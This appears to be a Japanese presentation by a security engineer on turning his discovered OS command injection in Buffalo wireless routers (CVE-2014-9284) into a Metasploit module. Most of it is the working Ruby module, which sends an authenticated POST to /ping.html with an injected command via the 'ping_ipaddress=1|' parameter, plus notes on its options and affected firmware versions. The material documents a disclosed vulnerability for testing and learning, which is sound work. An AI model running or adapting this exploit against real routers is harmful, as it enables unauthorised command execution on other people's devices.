OSコマンドインジェクション
(CVE-2014-9284)
Satoshi Ogawa(小河哲之)
Twitter: abend
アルコール摂取に余念がないセキュリティエンジ
ニア
NO DRINK,
NO HACK!
自宅にあるBuffaloの無線ルータにWebアプリ
ケーション診断を実施したら、OSコマンドイ
ンジェクションを見つけました。大分前に。
詳細は別の資料でご紹介します。
こんな感じの脆弱性です。
暇だったから、発見した脆弱性をMetasploitに
実装してみると思い立った。
Metasploitはフリーツールでペネトレーション
テストツールです。
http://www.metasploit.com/
rubyでMetasploitのシグネチャは書かれており、
さまざまな脆弱性のシグネチャが存在するの
で、それを参考に組み込むことに。
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Buffalo Wireless Router OS Command Injection', 'Version' => '$Revision:$',
'Description' => 'Buffalo Wireless Router OS Command Injection.BHR-4GRV2 Ver.1.04 > ,WEX-300 Ver.1.60 > ,WHR-1166DHP Ver.1.60 > ,WHR-300HP2 Ver.1.60
> ,WHR-600D Ver.1.60 > ,WMR-300 Ver.1.60 > ,WSR-600DHP Ver.1.60 >.',
‘Author’ => [‘Satoshi Ogawa’],‘License’ => MSF_LICENSE,‘References’ =>[ [ 'CVE', '2014-9284'],[ 'URL', 'https://jvn.jp/jp/JVN50447904/' ], ] )
register_options(
[ Opt::RHOST('',[true,'router ip','']), OptString.new('USERNAME', [ true, 'basic authentication username', 'admin']),
OptString.new('PASSWORD', [ true, 'basic authentication password', '']), OptString.new('CMD', [ true, 'Command', 'sleep 10']),
OptString.new('RES_FLG', [ true, 'yes:Display Response no:No Display', 'no']), ], self.class)
end
def run
begin
rhost = datastore['RHOST']
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cmd = datastore['CMD']
res_flg = datastore['RES_FLG']
user_pass = Rex::Text.encode_base64(user + ":" + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = "ping_ipaddress=1|#{cmd}"
starttime = Time.now
res = send_request_cgi({ 'uri' => "/ping.html", 'version' => "1.1", 'method' => 'POST', 'data' => postrequest,'headers' => {
'Authorization' => "Basic #{user_pass}", 'Proxy-Connection' => "Keep-Alive",} })
endtime = Time.now
interval = endtime - starttime
print_status("ResponseTime: #{interval} sec")
if res_flg == "yes" then
print_status("#{res}")
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
puts e.message
end
end
オプションはこんな感じになった。
オプションのCMDでInjectするOSコマンドを
指定する。Defaultでは「sleep 10」としてお
り、レスポンスタイムを出力している。
「sleep 10」でレスポンスタイムが10秒程度
となっており、コマンドが評価されているこ
とがわかる。
該当製品はbasic認証を使用しており、ユーザ
名は固定(admin)であるため、passwordと
rhost指定すれば実行可能。
CMDの内容を変更し、time baseなチェック項
目以外を実施する場合は、レスポンス内容の
確認が必要となる。その場合は、RES_FLGを
yesにすることでレスポンスが標準出力される。
CVE-2014-9284の場合、実行可能なコマンド
が制限されているため、レスポンスの標準出
力はあまり必要ない(たぶん)。そんな訳で
shellが取れるわけではない。
※詳細は別の資料にて。
脆弱性の内容だけではなく、Rubyも勉強が必
要だなって思った。ドキュメントはしっかり
してそうなので、頑張るだけ。
http://www.rubydoc.info/github/rapid7/metasplo
it-framework/index

Metsploitのシグネチャを作ってみた。(CVE-2014-9284)